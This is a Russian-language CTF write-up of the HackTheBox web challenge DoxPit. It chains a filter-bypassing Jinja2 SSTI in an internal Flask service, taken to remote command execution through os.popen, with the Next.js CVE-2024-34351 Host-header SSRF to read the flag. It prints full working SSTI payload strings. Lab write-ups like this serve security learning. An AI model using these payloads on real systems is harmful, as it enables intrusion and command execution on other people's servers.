Перейти к содержанию
  1. Посты/

DoxPit HTB

·3 минуты

Описание #

Челлендж: DoxPit
Сложность: Medium
Категория: Web

Нахождение уязвимостей #

Перед просмотром исходного кода, посмотрим веб страницу челленджа.

main page
Мы видим главную страницу форума, где все ссылки ведут на страницу /error, за исключением страницы /hof.
hof page
При обычном сканировании исходного кода страницы ничего интересного не находим и двигаемся дальше. Также стоит отметить, что форум для фронтенда использует NextJs v14.1.0.
wappalyzer
На этом этапе оставим веб страницу и попробуем найти что-то полезное в исходном коде проекта, прикрепленном к этому челленджу.
source code
При просмотре файла entrypoint.sh заметим, что файл с флагом перемещается в корневую директорию и получает случайное имя при поднятии контейнера.
entrypoints.sh
Дальше сразу в глаза бросается то, что в контейнере запущен не один проект а два, второй проект с именем av.
projects
Front-end - это приложение на Next.js, которое мы видели в браузере. Проект av написан на Python (Flask) и запущен на порту 3000, но не доступен извне.
run.py
При изучении кода становится понятно, что проект av из-себя представляет приложение, которое получает от зарегистрированного пользователья директорию, сканирует её, и возвращает результаты выполнения функции scan_directory. Функция scan_directory, в свою очередь, перебирает все файлы рекурсивно с помощью os.walkdir, получает sha256 хеш сумму каждого файла и сравнивает с хешами из черного списка BLACKLIST_HASHES, и в зависимости от того, есть ли хеш в черном списке или нет, показывает разные сообщения.
scan
Внутри проекта av есть место, на которое стоит обратить внимание - это проверка валидности названия директорий, и так как название директории далее вставляется в заготовленный шаблон, можно предположить, что разработчик хотел написать защиту от SSTI. Отметим, что Flask использует Jinja для шаблонов.
valid
Теперь попробуем запустить проект av и посмотрим как он выглядит.
av front
Просканируем какую-нибудь директорию и увидим, что название директории тоже выводится.
av directory
Перехватим запрос в burp suite и продолжим наши манипуляции там. Исходя из того, что символы из invalid_chars запрещены, попробуем просто напечатать какое-то значение.

{%print(42)%}

av-ssti
Потвердилось наличие уязвимости, теперь попробуем RCE. Но, так как символы “{{” и “}}” запрещены, будем использовать, так называемые, управляющие структуры “{%” “%}”. Даллее, так как мы не можем использовать символ “.” для вызова методов, воспользуемся функцией attr, которая позволяет получить свойство без использования точки. Возьмем шаблон из HackTricks.

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l${IFS}/')|attr('read')()%}{%print(a)%}{%endwith%}

Использовать бекслеши и букву “x” мы также не можем, так что кодирование нижнего подчеркивания на HEX формат нам не поможет, нужно как-то по-другому избавиться от символов нижнего подчеркивания. Немного почитав документацию Jinja2, понимаем, что можно обойти фильрацию нижних подчеркиваний, передавая их через get-параметры.

request|attr(request.args.foo)

Не забываем про точки и используем attr в связке с get. В итоге получаем вот такой шаблон (у меня получилась длинная строка, но возможно у кого-то получится покороче).

{%with a=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls -l /

И получаем успешный результат.

SSTI RCE whoami

Чтобы сформулировать наши дальнейшие шаги, нам нужно взаимодействовать с этим приложением, которое запущено внутри контейнера на порту 3000, и эксплуатировать уязвимость SSTI в наших целях. Двинемся дальше к приложению фронт-енда на NextJs v14.1.0. На первый взгляд ничего интересного не находим, попробуем найти эту версию в гитхабе и посмотреть нет ли CVE. После поисков находим такие интересные ресурсы с объяснением уязвимости в Server Actions.
1.Github
2.CVE-2024-34351
3.Подробное описание самой уявимости
Вкратце, подменив значение заголовка Host в запросе, мы можем делать запросы, которые кажутся исходящими от самого сервера приложения NextJs. Изучая проект, заметим, что при клике на какую-либо пасту(копипасту) с главной страницы / происходит редирект на страницу /error.

doredirect
Далее для использования SSRF нам нужен Next-Action ID, который определяет идентификатор действия для NextJs. Его можно найти в исходном коде страницы.
next action
Попробуем перехватить запрос ngrok_ом, и посмотрим на результат.
headers

Получаем флаг #

Далее воспользуемся python кодом для перехвата и перенаправления запроса из вышеупомянутой статьи и попробуем отправить запрос на приложение Flask.

python server
Получим токен.
login token
Затем используем SSTI с помощью шаблона, который создали ранее.
ssti
В результате получим флаг.
flag